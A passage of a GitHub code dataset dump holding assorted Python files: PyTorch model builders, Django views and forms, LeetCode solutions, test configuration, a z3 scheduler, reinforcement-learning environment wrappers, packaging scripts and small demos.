vgg11_bn(weights=VGG11_BN_Weights.DEFAULT, progress=True)\n    else:\n        name = \"vgg11_bn_sc\"\n        model = vgg11_bn()\n    in_features = model.classifier[6].in_features\n    model.classifier[6] = nn.Linear(in_features, 2)\n    return (model.to(device), name)\n\ndef get_vgg11_wbn(pretrained: bool) -> Tuple[nn.Module, str]:\n    model: nn.Module\n    name: str\n    if pretrained:\n        name = \"vgg11_wbn_pr\"\n        model = vgg11(weights=VGG11_Weights.DEFAULT, progress=True)\n    else:\n        raise NotImplementedError(\"Who asked\")\n    in_features = model.classifier[6].in_features\n    model.classifier[6] = nn.Linear(in_features, 2)\n    return (model.to(device), name)\n\n\ndef get_vgg16(pretrained: bool) -> Tuple[nn.Module, str]:\n    model: nn.Module\n    if pretrained:\n        name = \"vgg16_bn_pr\"\n        model = vgg16_bn(weights=VGG16_BN_Weights.DEFAULT, progress=True)\n    else:\n        name = \"vgg16_bn_sc\"\n        model = vgg16_bn()\n    in_features = model.classifier[6].in_features\n    model.classifier[6] = nn.Linear(in_features, 2)\n    return (model.to(device), name)\n\n\n\nclass NoeNet(nn.Module):\n    def conv(cls, inc: int, outc: int) -> nn.Conv2d:\n        return nn.Conv2d(inc, outc, kernel_size=3, padding=1)\n\n    def mxpool(cls) -> nn.MaxPool2d:\n        return nn.MaxPool2d(2, 2, 1)\n\n    def lin(cls, inft: int, outft: int) -> nn.Linear:\n        return nn.Linear(inft, outft)\n\n    def drop(cls) -> nn.Dropout:\n        return nn.Dropout()\n\n    def __init__(self) -> None:\n        super().__init__()\n        self.grayscale = transforms.Grayscale()\n\n        self.increase = nn.Sequential(\n            self.conv(  1,  32), nn.ReLU(), self.mxpool(),\n            self.conv( 32,  64), nn.ReLU(),\n            self.conv( 64, 128), nn.ReLU(), self.mxpool(),\n            self.conv(128, 256), nn.ReLU(),\n            self.conv(256, 512), nn.ReLU(), self.mxpool()\n        )\n\n        self.steady = nn.Sequential(\n            self.conv(512, 512), nn.ReLU(),\n            # self.conv(512, 512), nn.ReLU(),\n            self.conv(512, 512), nn.ReLU(), self.mxpool()\n        )\n\n        self.avgpool = nn.AvgPool2d(2, 2)\n\n        self.classifier = nn.Sequential(\n            self.lin(512 * 7 * 7, 256), nn.ReLU(), self.drop(),\n            self.lin(256, 256), nn.ReLU(), self.drop(),\n            self.lin(256, 2)\n        )\n\n    def forward(self, x: torch.Tensor) -> torch.Tensor:\n        x = self.grayscale(x)\n        x = self.increase(x)\n        x = self.steady(x)\n        x = self.avgpool(x)\n        x = x.reshape(-1, 512 * 7 * 7)\n        x = self.classifier(x)\n        return x\n\ndef get_custom() -> Tuple[nn.Module, str]:\n    return (NoeNet().to(device), \"custom\")\n","repo_name":"minhnhatnoe/BallPunchAIModel","sub_path":"src/settings/modules/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42317697907","text":"from django.db.models import Q\nfrom django.http import HttpResponse, JsonResponse\nfrom lubricentro_myc.models import ProductPriceHistory\nfrom lubricentro_myc.models.product import Producto\nfrom lubricentro_myc.serializers.product import ProductoSerializer\nfrom lubricentro_myc.views.pagination import CustomPageNumberPagination\nfrom rest_framework import viewsets\nfrom rest_framework.decorators import action\n\n\nclass ProductoViewSet(viewsets.ModelViewSet, CustomPageNumberPagination):\n    queryset = Producto.objects.all().order_by(\"codigo_en_pantalla\")\n    serializer_class = ProductoSerializer\n    pagination_class = CustomPageNumberPagination\n\n    def list(self, request):\n        detalle = request.GET.get(\"detalle\", None)\n        categoria = request.GET.get(\"categoria\", None)\n        query = request.GET.get(\"query\", None)\n        if detalle:\n            self.queryset = Producto.objects.filter(\n                detalle__icontains=detalle\n            ).order_by(\"codigo_en_pantalla\")\n        elif categoria:\n            self.queryset = Producto.objects.filter(\n                categoria__iexact=categoria\n            ).order_by(\"codigo_en_pantalla\")\n        elif query:\n            if query.isnumeric():\n                self.queryset = Producto.objects.filter(\n                    codigo_en_pantalla__gte=query\n                ).order_by(\"codigo_en_pantalla\")\n            else:\n                self.queryset = Producto.objects.filter(\n                    Q(codigo_en_pantalla__contains=query)\n                    | Q(detalle__icontains=query)\n                    | Q(categoria__icontains=query)\n                ).order_by(\"codigo_en_pantalla\")\n        return super().list(request)\n\n    @action(detail=False, methods=[\"post\"])\n    def aumento_masivo_precio_costo(self, request):\n        producto_ids = request.data.get(\"productos\")\n        porcentaje_aumento = request.data.get(\"porcentaje_aumento\")\n        if not producto_ids or not porcentaje_aumento:\n            return HttpResponse(status=400)\n        aumento = 1 + int(porcentaje_aumento) / 100\n        updated_products = 0\n        for producto_id in producto_ids:\n            try:\n                p = Producto.objects.get(codigo=producto_id)\n                p.precio_costo = p.precio_costo * aumento\n                p.save()\n                updated_products += 1\n            except Producto.DoesNotExist:\n                pass\n        return JsonResponse(\n            data={\n                \"resultado\": f\"{updated_products} producto/s actualizado/s satisfactoriamente.\"\n            }\n        )\n\n    @action(detail=True, methods=[\"get\"])\n    def historial_precios(self, request, pk=None):\n        try:\n            Producto.objects.get(codigo=pk)\n        except Producto.DoesNotExist:\n            return HttpResponse(status=404)\n        prices_history = ProductPriceHistory.objects.filter(product__codigo=pk)\n        return JsonResponse(\n            data={\n                \"prices\": [\n                    {\n                        \"old_price\": round(price.old_price, 2),\n                        \"new_price\": round(price.new_price, 2),\n                        \"date\": price.timestamp,\n                    }\n                    for price in prices_history\n                ]\n            }\n        )\n\n    @action(detail=False, methods=[\"get\"])\n    def codigos_disponibles(self, request):\n        start = int(request.GET.get(\"start\", 1))\n        amount = int(request.GET.get(\"amount\", 10))\n        codes_in_used = Producto.objects.all().values_list(\n            \"codigo_en_pantalla\", flat=True\n        )\n        available_codes = list(set(list(range(start, 100001))) - set(codes_in_used))\n        closest_code = min(available_codes, key=lambda x: abs(x - start))\n        closest_code_index = available_codes.index(closest_code)\n        return JsonResponse(\n            data={\n                \"available_codes\": available_codes[\n                    closest_code_index : closest_code_index + amount\n                ]\n            }\n        )\n","repo_name":"MatiasAdrian4/lubricentro_myc","sub_path":"django_project/lubricentro_myc/views/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":3994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14679986930","text":"#Leetcode\n#1 - i python always, seems only with using sorting.\ndef findClosestElements(self, arr: List[int], k: int, x: int) -> List[int]:       \n        diff = [(abs(el-x),el) for el in arr]\n        heapq.heapify(diff)\n        res = []\n        while(k):\n            curr = heapq.heappop(diff)\n            res.append(curr[1])\n            k-=1\n        res.sort()\n        return res\n","repo_name":"Ana2k/Coding-Questions-","sub_path":"heap/aditya verma/Find K closest elements.py","file_name":"Find K closest elements.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36646887554","text":"# tests directory-specific settings - this file is run automatically\n# by pytest before any tests are run\n\nimport pytest, sys, re\nfrom os.path import abspath, dirname\nfrom utils.mem import use_gpu\n\n# make sure we test against the checked out git version of fastai and\n# not the pre-installed version. With 'pip install -e .[dev]' it's not\n# needed, but it's better to be safe and ensure the git path comes\n# second in sys.path (the first path is the test dir path)\ngit_repo_path = abspath(dirname(dirname(__file__)))\nsys.path.insert(1, git_repo_path)\n\ndef pytest_addoption(parser):\n    parser.addoption( \"--runslow\", action=\"store_true\", default=False, help=\"run slow tests\")\n    parser.addoption( \"--skipint\", action=\"store_true\", default=False, help=\"skip integration tests\")\n\ndef mark_items_with_keyword(items, marker, keyword):\n    for item in items:\n        if keyword in item.keywords: item.add_marker(marker)\n\ndef pytest_collection_modifyitems(config, items):\n    if config.getoption(\"--skipint\"):\n        skip_int = pytest.mark.skip(reason=\"--skipint used to skip integration test\")\n        mark_items_with_keyword(items, skip_int, \"integration\")\n\n    if not config.getoption(\"--runslow\"):\n        skip_slow = pytest.mark.skip(reason=\"need --runslow option to run\")\n        mark_items_with_keyword(items, skip_slow, \"slow\")\n\n    if not use_gpu:\n        skip_cuda = pytest.mark.skip(reason=\"CUDA is not available\")\n        mark_items_with_keyword(items, skip_cuda, \"cuda\")\n","repo_name":"hiroaki-shishido/fastai","sub_path":"tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14868297851","text":"import sqlite3\nfrom flask import Flask, render_template\nfrom flask_sqlalchemy import SQLAlchemy\n\n\nconn = sqlite3.connect('non_sensitive_data.db')\ncursor = conn.cursor()\n\ncursor.execute('CREATE TABLE IF NOT EXISTS user_data (first_name VARCHAR(20), last_name VARCHAR(25), age INT, email VARCHAR(249))')\n# conn.commit()\n# cursor.execute('SELECT * FROM user_data')\n# data = cursor.fetchall()\n# print(data)\n# for i in data:\n#     print(i)\n\ncursor.execute(\"SELECT name FROM sqlite_master WHERE type='table'\")\ntables = cursor.fetchall()\n\n# Iterate over tables\nfor table in tables:\n    table_name = table[0]\n    print(f\"Table: {table_name}\")\n\n    # Retrieve column names for each table\n    cursor.execute(f\"PRAGMA table_info('{table_name}')\")\n    columns = cursor.fetchall()\n\n    # Iterate over columns\n    for column in columns:\n        column_name = column[1]\n        print(f\"  Column: {column_name}\")\n\n# Close the connection\ncursor.close()\nconn.close()\n","repo_name":"Clancastle/web-newsletter-expand-x","sub_path":"emailProject/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14184276499","text":"from z3 import *\nimport json\n\n\"\"\"\nscenario:\neach_subject_require_amount_time and pre_order\neach_semester: (number_subject < 3) & 5 <= time <= 7\n\nvar_attact to subject:\nvalue => that subject study in that semester\nlogic:   0,1   2,3    4,5    6,7\n       year_1 year_2 year_3 year_4\ncan't study_parallel if violation preorder-constrain\n=> target minimum number_semeter\n\"\"\"\nclass Subject():\n\tdef __init__(self,amount_of_time,list_of_pre_subject=[]):\n\t\tself.list_of_pre_subject = list_of_pre_subject \n\t\tself.time__ = amount_of_time\n\nclass Schedule():\n\tdef __init__(self,list_of_subject,max_subject_each_semester,time_constrain):\n\t\tself.time_min,self.time_max = time_constrain\n\t\tself.max_subject_semester = max_subject_each_semester\n\t\tself.number_subject = len(list_of_subject)\n\t\tself.list_of_subject = list_of_subject\n\t\tself.arrangement_var = [BitVec('subject_'+str(i),self.number_subject.bit_length()+1) for i in range(self.number_subject)]# worst case each semester study 1 subject\n\t\tself.s = Solver()\n\t\n\tdef __str__(self):\n\t\tself.total_time_semeter,self.max_number_semeter = 0,0\n\t\tschedule__ = {}\n\t\tfor i in range(self.number_subject):\n\t\t\tsemester = 'sem_'+str(self.s.model()[self.arrangement_var[i]].as_long())\n\t\t\tif semester in schedule__:\n\t\t\t\tschedule__[semester].append(i)\n\t\t\telse:\n\t\t\t\tschedule__[semester] = [i]\n\t\t\tself.total_time_semeter += self.s.model()[self.arrangement_var[i]].as_long()\n\t\t\tif self.max_number_semeter < self.s.model()[self.arrangement_var[i]].as_long():\n\t\t\t\tself.max_number_semeter = self.s.model()[self.arrangement_var[i]].as_long()\n\t\treturn json.dumps(schedule__)\n\t\t\n\tdef rule0(self):# solution must better than worst-case and all-subject must be study\n\t\tfor i in range(self.number_subject):\n\t\t\tself.s.add(self.arrangement_var[i] < self.number_subject)\n\t\t\t# self.s.add(self.arrangement_var[i] < 5)\n\t\t\tself.s.add(self.arrangement_var[i] >= 0)\n\t\n\tdef rule1(self):# all subject must satisfied the constrain\n\t\tfor i in range(self.number_subject):\n\t\t\tfor j in self.list_of_subject[i].list_of_pre_subject:\n\t\t\t\tself.s.add(self.arrangement_var[j]<self.arrangement_var[i])\n\t\n\tdef rule2(self):# number_subject_each_semester are limited\n\t\tfor id_sem in range(self.number_subject):\n\t\t\tself.s.add( Sum([ If(self.arrangement_var[id_subject]==id_sem,1,0) for id_subject in range(self.number_subject)]) <= self.max_subject_semester)\n\t\t\t\n\tdef rule3(self):# time_constrain\n\t\tfor id_sem in range(self.number_subject):\n\t\t\tself.s.add(Sum([ If(self.arrangement_var[id_subject]==id_sem,1,0)*self.list_of_subject[id_subject].time__  for id_subject in range(self.number_subject) ]) <= self.time_max)\n\t\t\tself.s.add(Or(Sum([ If(self.arrangement_var[id_subject]==id_sem,1,0)*self.list_of_subject[id_subject].time__  for id_subject in range(self.number_subject) ]) >= self.time_min,And([ If(self.arrangement_var[id_subject]!=id_sem,True,False)for id_subject in range(self.number_subject) ]) ))\n\t\n\tdef better_solution(self):# reduce maximum time highest teacher\n\t\t# self.next_solution()\n\t\tself.s.add(Sum([self.arrangement_var[i] for i in range(self.number_subject)]) < self.max_number_semeter)\n\t\tfor i in range(self.number_subject):\n\t\t\tself.s.add(self.arrangement_var[i] < self.max_number_semeter)\n\t\t\n\tdef solve(self):\n\t\tself.rule0()\n\t\tself.rule1()\n\t\tself.rule2()\n\t\tself.rule3()\n\t\tif self.s.check()==sat:\n\t\t\tprint(\"[+] Solution found\")\n\t\t\treturn True\n\t\tprint(\"[-] No solution found\")\n\t\treturn False\n\t\t\n\t\nif __name__==\"__main__\":\n\t## testing \n\tlist_of_subject=[Subject(2,[1]),Subject(1),Subject(2),Subject(1),\n\t\t\t\t\t Subject(3),Subject(2,[4]),Subject(1,[1,4]),Subject(3,[4]),\n\t\t\t\t\t Subject(2,[5]),Subject(3,[2]),Subject(1,[3,7]),Subject(3,[3,5])\n\t\t\t\t\t]\n\ttime_constrain = (5,7)\n\tmax_subject_each_semester = 3\n\t\n\tschedule = Schedule(list_of_subject,max_subject_each_semester,time_constrain)\n\tif schedule.solve():\n\t\twhile schedule.s.check() == sat:\n\t\t\tprint(schedule)\n\t\t\tif 'n' in input(\"[?] Get better result(Y/n)\").lower():\n\t\t\t\tbreak\n\t\t\tschedule.better_solution()\n\t\tprint(\"[!] No more better found!\")\n","repo_name":"dungkhmt/bkoptapplication","sub_path":"src/sonpt/arrangement_subjects_each_semester/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":3995,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"70087778642","text":"\"\"\"\nBased on https://github.com/ikostrikov/pytorch-a2c-ppo-acktr\n\"\"\"\nimport gym\nimport torch\nimport random\n\nfrom environments.env_utils.vec_env import VecEnvWrapper\nfrom environments.env_utils.vec_env.dummy_vec_env import DummyVecEnv\nfrom environments.env_utils.vec_env.subproc_vec_env import SubprocVecEnv\nfrom environments.env_utils.vec_env.vec_normalize import VecNormalize\nfrom environments.wrappers import TimeLimitMask, VariBadWrapper\n\n\ndef make_env(env_id, seed, rank, episodes_per_task, tasks, add_done_info, **kwargs):\n    def _thunk():\n\n        env = gym.make(env_id, **kwargs)\n        if tasks is not None:\n            env.unwrapped.reset_task = lambda x: env.unwrapped.set_task(random.choice(tasks))\n        if seed is not None:\n            env.seed(seed + rank)\n        if str(env.__class__.__name__).find('TimeLimit') >= 0:\n            env = TimeLimitMask(env)\n        env = VariBadWrapper(env=env, episodes_per_task=episodes_per_task, add_done_info=add_done_info)\n        return env\n\n    return _thunk\n\n\ndef make_vec_envs(env_name, seed, num_processes, gamma,\n                  device, episodes_per_task,\n                  normalise_rew, ret_rms, tasks,\n                  rank_offset=0,\n                  add_done_info=None,\n                  **kwargs):\n    \"\"\"\n    :param ret_rms: running return and std for rewards\n    \"\"\"\n    envs = [make_env(env_id=env_name, seed=seed, rank=rank_offset + i,\n                     episodes_per_task=episodes_per_task,\n                     tasks=tasks,\n                     add_done_info=add_done_info,\n                     **kwargs)\n            for i in range(num_processes)]\n\n    if len(envs) > 1:\n        envs = SubprocVecEnv(envs)\n    else:\n        envs = DummyVecEnv(envs)\n\n    if len(envs.observation_space.shape) == 1:\n        if gamma is None:\n            envs = VecNormalize(envs, normalise_rew=normalise_rew, ret_rms=ret_rms)\n        else:\n            envs = VecNormalize(envs, normalise_rew=normalise_rew, ret_rms=ret_rms, gamma=gamma)\n\n    envs = VecPyTorch(envs, device)\n\n    return envs\n\n\nclass VecPyTorch(VecEnvWrapper):\n    def __init__(self, venv, device):\n        \"\"\"Return only every `skip`-th frame\"\"\"\n        super(VecPyTorch, self).__init__(venv)\n        self.device = device\n        # TODO: Fix data types\n\n    def reset_mdp(self, index=None):\n        obs = self.venv.reset_mdp(index=index)\n        if isinstance(obs, list):\n            obs = [torch.from_numpy(o).float().to(self.device) for o in obs]\n        else:\n            obs = torch.from_numpy(obs).float().to(self.device)\n        return obs\n\n    def reset(self, index=None, task=None):\n        if task is not None:\n            assert isinstance(task, list)\n        state = self.venv.reset(index=index, task=task)\n        if isinstance(state, list):\n            state = [torch.from_numpy(s).float().to(self.device) for s in state]\n        else:\n            state = torch.from_numpy(state).float().to(self.device)\n        return state\n\n    def step_async(self, actions):\n        # actions = actions.squeeze(1).cpu().numpy()\n        actions = actions.cpu().numpy()\n        self.venv.step_async(actions)\n\n    def step_wait(self):\n        state, reward, done, info = self.venv.step_wait()\n        if isinstance(state, list):  # raw + normalised\n            state = [torch.from_numpy(s).float().to(self.device) for s in state]\n        else:\n            state = torch.from_numpy(state).float().to(self.device)\n        if isinstance(reward, list):  # raw + normalised\n            reward = [torch.from_numpy(r).unsqueeze(dim=1).float().to(self.device) for r in reward]\n        else:\n            reward = torch.from_numpy(reward).unsqueeze(dim=1).float().to(self.device)\n        return state, reward, done, info\n\n    def __getattr__(self, attr):\n        \"\"\" If env does not have the attribute then call the attribute in the wrapped_env \"\"\"\n\n        if attr in ['_max_episode_steps', 'task_dim', 'belief_dim', 'num_states']:\n            return self.unwrapped.get_env_attr(attr)\n\n        try:\n            orig_attr = self.__getattribute__(attr)\n        except AttributeError:\n            orig_attr = self.unwrapped.__getattribute__(attr)\n\n        if callable(orig_attr):\n            def hooked(*args, **kwargs):\n                result = orig_attr(*args, **kwargs)\n                return result\n\n            return hooked\n        else:\n            return orig_attr\n","repo_name":"lmzintgraf/varibad","sub_path":"environments/parallel_envs.py","file_name":"parallel_envs.py","file_ext":"py","file_size_in_byte":4383,"program_lang":"python","lang":"en","doc_type":"code","stars":167,"dataset":"github-code","pt":"3"}
+{"seq_id":"5768743228","text":"from django import forms\nfrom .models import User, Language\nfrom django.contrib.admin import widgets  \n\nclass UserForm(forms.ModelForm):\n\n\tclass Meta:\n\t\tmodel = User\n\t\t#fields = ['refugee_or_local', 'first_name', 'last_name', 'location', 'occupation', 'about', 'picture', 'email', 'gender', 'gender_preference', 'birthdate', 'social_media']\n\t\tfields = ['refugee_or_local', 'first_name', 'last_name', 'location', 'occupation', 'about', 'email', 'gender', 'gender_preference', 'language_1','language_2','language_3','birthdate', 'social_media']\n\n\t\thelp_texts = {\n            'birthdate': ('eg: year-month-day'),\n            }\n\t\twidgets = {\n            'birthdate': forms.DateInput(attrs={'class':'datepicker'}),\n        }\n\n","repo_name":"RefugeeMatchmaking/HackZurich","sub_path":"refugee_matchmaking/users/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"}
+{"seq_id":"9338744451","text":"from distutils.core import setup\r\nimport py2exe\r\nimport zipfile, os, shutil\r\n\r\n# remove dist, build folder\r\nshutil.rmtree('dist', ignore_errors = True)\r\nshutil.rmtree('build', ignore_errors = True)\r\n\r\n# start setup which will create dist and build folder.\r\nsetup(console=['wintwill.py'])\r\n\r\n\r\n# add wintwill.py to library, zip library\r\nzip = zipfile.ZipFile('library.zip', 'w', zipfile.ZIP_DEFLATED)\r\nzip.write('wintwill.py')\r\nos.chdir('library')\r\nfor root, dirs, files in os.walk('.'):\r\n    for file in files:\r\n       zip.write(root + os.path.sep + file)\r\nos.chdir('..')\r\nzip.close()\r\n\r\n# remove dist/library.zip, copy new library.zip to dist\r\nos.remove('dist/library.zip')\r\nshutil.move('library.zip', 'dist')\r\n\r\n# copy the files under vclib to dist\r\nos.chdir('vclib')\r\nfor root, dirs, files in os.walk('.'):\r\n    for file in files:\r\n        shutil.copyfile(root + os.path.sep + file, '../dist' + os.path.sep + file)\r\nos.chdir('..')\r\n\r\n# remove wintwill/dist and copy new dist to wintwill/dist\r\nshutil.rmtree('wintwill/dist', ignore_errors = True)\r\nshutil.copytree('dist', 'wintwill/dist')\r\n\r\n# remove dist, build folder\r\nshutil.rmtree('dist', ignore_errors = True)\r\nshutil.rmtree('build', ignore_errors = True)\r\n\r\n","repo_name":"ghosert/VimProject","sub_path":"Python2Exe/twill/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":208,"dataset":"github-code","pt":"3"}
+{"seq_id":"10841262857","text":"#!/usr/bin/env python\n\"\"\"\nThe setup script.\n\"\"\"\nimport os\nimport io\nimport vppopt\nfrom setuptools import setup, find_packages\n#==============Package meta-data==============#\nNAME = 'vppopt'\nDESCRIPTION = 'Virtual Power Plant Optimization Platform'\nURL = 'https://github.com/cenaero-enb/h2cs-design'\nEMAIL = 'vanlong.le@cenaero.be'\nAUTHOR = 'Van Long Le'\nREQUIRES_PYTHON = '>=3.6.0'\nVERSION = vppopt.__version__\nSTATUS = \"Underdevelopment\"\n\n## What packages are required for this module to be executed?\nREQUIRED = [\n    # 'pandas',\n    # 'oemof.solph'\n]\n\n## What packages are optional?\nEXTRAS = {\n    # 'fancy feature': ['django'],\n}\n\nhere = os.path.abspath(os.path.dirname(__file__))\n\n# Note: this will only work if 'README.md' is present in your MANIFEST.in file!\ntry:\n    with io.open(os.path.join(here, 'README.md'), encoding='utf-8') as f:\n        long_description = '\\n' + f.read()\nexcept FileNotFoundError:\n    long_description = DESCRIPTION\n\n# Load the package's __version__.py module as a dictionary.\nabout = {}\nif not VERSION:\n    project_slug = NAME.lower().replace(\"-\", \"_\").replace(\" \", \"_\")\n    with open(os.path.join(here, project_slug, '__version__.py')) as f:\n        exec(f.read(), about)\nelse:\n    about['__version__'] = VERSION\n\n\nsetup(\n    name=NAME,\n    version=about['__version__'],\n    description=DESCRIPTION,\n    long_description=long_description,\n    long_description_content_type='text/markdown',\n    author=AUTHOR,\n    author_email=EMAIL,\n    python_requires=REQUIRES_PYTHON,\n    url=URL,\n    packages=find_packages(exclude=[\"tests\", \"*.tests\", \"*.tests.*\", \"tests.*\"]),\n    #package_data={\"\":[\"*.cfg\"]},\n    include_package_data=True,\n    entry_points={\n        'console_scripts': ['vppopt=vppopt.interfaces.cli:main'],\n    },\n    install_requires=REQUIRED,\n    extras_require=EXTRAS,    \n    license='MIT',\n    classifiers=[\n        # Trove classifiers\n        # Full list: https://pypi.python.org/pypi?%3Aaction=list_classifiers\n        'License :: OSI Approved :: MIT License',\n        'Programming Language :: Python',\n        'Programming Language :: Python :: 3.6',\n        'Programming Language :: Python :: 3.7',\n        'Programming Language :: Python :: Implementation :: CPython',\n    ],\n\n)","repo_name":"Ldelcham/h2cs-design","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31299302053","text":"from __future__ import absolute_import, division\n\nimport sys\n\nfrom twisted.internet.protocol import Protocol\nfrom twisted.internet.stdio import StandardIO\nfrom twisted.python.reflect import namedAny\n\n\nclass LastWriteChild(Protocol):\n    def __init__(self, reactor, magicString):\n        self.reactor = reactor\n        self.magicString = magicString\n\n\n    def connectionMade(self):\n        self.transport.write(self.magicString)\n        self.transport.loseConnection()\n\n\n    def connectionLost(self, reason):\n        self.reactor.stop()\n\n\n\ndef main(reactor, magicString):\n    p = LastWriteChild(reactor, magicString.encode('ascii'))\n    StandardIO(p)\n    reactor.run()\n\n\n\nif __name__ == '__main__':\n    namedAny(sys.argv[1]).install()\n    from twisted.internet import reactor\n    main(reactor, sys.argv[2])\n","repo_name":"wistbean/learn_python3_spider","sub_path":"stackoverflow/venv/lib/python3.6/site-packages/twisted/test/stdio_test_lastwrite.py","file_name":"stdio_test_lastwrite.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":14022,"dataset":"github-code","pt":"3"}
+{"seq_id":"15546817982","text":"import random\r\n\r\nsum = 0\r\ngames = 100\r\nsmall = medium = large = 9 #not necessary\r\nbox = 9\r\nring_size = 3\r\n\r\n#for same size\r\ndef sameSize(table):\r\n    #horizontal\r\n    for j in range(ring_size):\r\n        if table[0][j] == table[1][j] == table[2][j] == True:\r\n        #table[box][ring_size]\r\n            return True\r\n        elif table[3][j] == table[4][j] == table[5][j] == True:\r\n            return True\r\n        elif table[6][j] == table[7][j] == table[8][j] == True:\r\n            return True\r\n    #vertical\r\n    for j in range(ring_size):\r\n        if table[0][j] == table[3][j] == table[6][j] == True:\r\n            return True\r\n        elif table[1][j] == table[4][j] == table[7][j] == True:\r\n            return True\r\n        elif table[2][j] == table[5][j] == table[8][j] == True:\r\n            return True\r\n    #diagonal\r\n    for i in range(ring_size):\r\n        if table[0][i] == table[4][i] == table[8][i] == True:\r\n            return True\r\n        elif table[2][i] == table[4][i] == table[6][i] == True:\r\n            return True\r\n\r\n#from smaller to bigger\r\ndef smallTobig(table):\r\n    win = victory()\r\n    #horizontal\r\n    if table[0][0] == table[1][1] == table[2][2] == True:\r\n        win = True\r\n    elif table[0][2] == table[1][1] == table[2][0] == True:\r\n        win = True\r\n    elif table[3][0] == table[4][1] == table[5][2] == True:\r\n        win = True\r\n    elif table[3][0] == table[4][1] == table[5][2] == True:\r\n        win = True\r\n    elif table[6][0] == table[7][1] == table[8][2] == True:\r\n        win = True\r\n    elif table[6][2] == table[7][1] == table[8][0] == True:\r\n        win = True\r\n    #vertical\r\n    if table[0][0] == table[3][1] == table[6][2] == True:\r\n            return True\r\n    elif table[0][2] == table[3][1] == table[6][0] == True:\r\n            return True\r\n    elif table[1][0] == table[4][1] == table[7][2] == True:\r\n        return True\r\n    elif table[1][2] == table[4][1] == table[7][0] == True:\r\n        return True\r\n    elif table[2][0] == table[5][1] == table[8][1] == True:\r\n        return True\r\n    elif table[2][2] == table[5][1] == table[8][0] == True:\r\n        return True\r\n    #diagonal\r\n    if table[0][0] == table[4][1] == table[8][2] == True:\r\n        win = True\r\n    elif table[0][2] == table[4][1] == table[8][0] == True:\r\n        win = True\r\n    elif table[2][0] == table[4][1] == table[6][2] == True:\r\n        win = True\r\n    elif table[2][2] == table[4][1] == table[6][0] == True:\r\n        win = True\r\n    return win\r\n\r\ndef victory():\r\n    win = False\r\n    return win\r\n\r\nfor i in range(games):\r\n    #box[small,medium,large]\r\n    box1 = [False, False, False]\r\n    box2 = [False, False, False]\r\n    box3 = [False, False, False]\r\n    box4 = [False, False, False]\r\n    box5 = [False, False, False]\r\n    box6 = [False, False, False]\r\n    box7 = [False, False, False]\r\n    box8 = [False, False, False]\r\n    box9 = [False, False, False]\r\n\r\n    table = [box1, box2, box3, box4, box5, box6, box7, box8, box9]\r\n\r\n    win = victory()\r\n    while (win is False):\r\n        random_box = random.choice([0,1,2,3,4,5,6,7,8])\r\n        random_size_ring = random.choice([0,1,2])\r\n        if not table[random_box][random_size_ring]:\r\n            sum += 1\r\n            table[random_box][random_size_ring] = True\r\n        if not win:\r\n            win = sameSize(table)\r\n        if not win:\r\n            win = smallTobig(table)\r\n\r\n    average = (sum/100)\r\n    print(\"Random box, Random size: \" + str(random_box) + \",\" + str(random_size_ring))\r\n\r\nprint(\"\\nAverage number of movements for 100 games: \" + str(average))","repo_name":"georgexrysiko/ComputerScienceProject","sub_path":"askisi1.py","file_name":"askisi1.py","file_ext":"py","file_size_in_byte":3546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18282819672","text":"'''\nAuthor: fghpdf\nDate: 2022-01-13 09:14:02\nLastEditTime: 2022-01-13 09:17:30\nLastEditors: fghpdf\n'''\nclass Node:\n    def __init__(self, val):\n        self.val = val\n        self.left = None\n        self.right = None\n        self.parent = None\n\n\nclass Solution:\n    def lowestCommonAncestor(self, p: 'Node', q: 'Node') -> 'Node':\n        p1, q1 = p, q\n        while p1 != q1:\n            if p1.parent:\n                p1 = p1.parent\n            else:\n                p1 = p\n            \n            if q1.parent:\n                q1 = q1.parent\n            else:\n                q1 = q\n\n        return q1","repo_name":"fghpdf/leetcode","sub_path":"py/lowest_common_ancestor_of_a_binary_tree_III/lowest_common_ancestor_of_a_binary_tree_III.py","file_name":"lowest_common_ancestor_of_a_binary_tree_III.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"18058651212","text":"from src.strategy.duck import MallardDuck, RedHeadDuck, RubberDuck\nfrom src.strategy.fly import FlyRocketPowered\nfrom src.strategy.quack import MuteQuack\n\n\ndef start_stategy():\n    ducks_types = (\n        MallardDuck, RedHeadDuck, RubberDuck\n    )\n    for duck_type in ducks_types:\n        duck = duck_type()\n        duck.display()\n        duck.perform_fly()\n        duck.perform_quack()\n\n        # Меняем поведение утки\n        duck.fly_behavior = FlyRocketPowered()\n        duck.quack_behavior = MuteQuack()\n        duck.perform_fly()\n        duck.perform_quack()\n\n        print('-' * 20)\n\n\nif __name__ == \"__main__\":\n    start_stategy()\n","repo_name":"shahrom322/patterns","sub_path":"src/strategy/mini_duck_simulator.py","file_name":"mini_duck_simulator.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
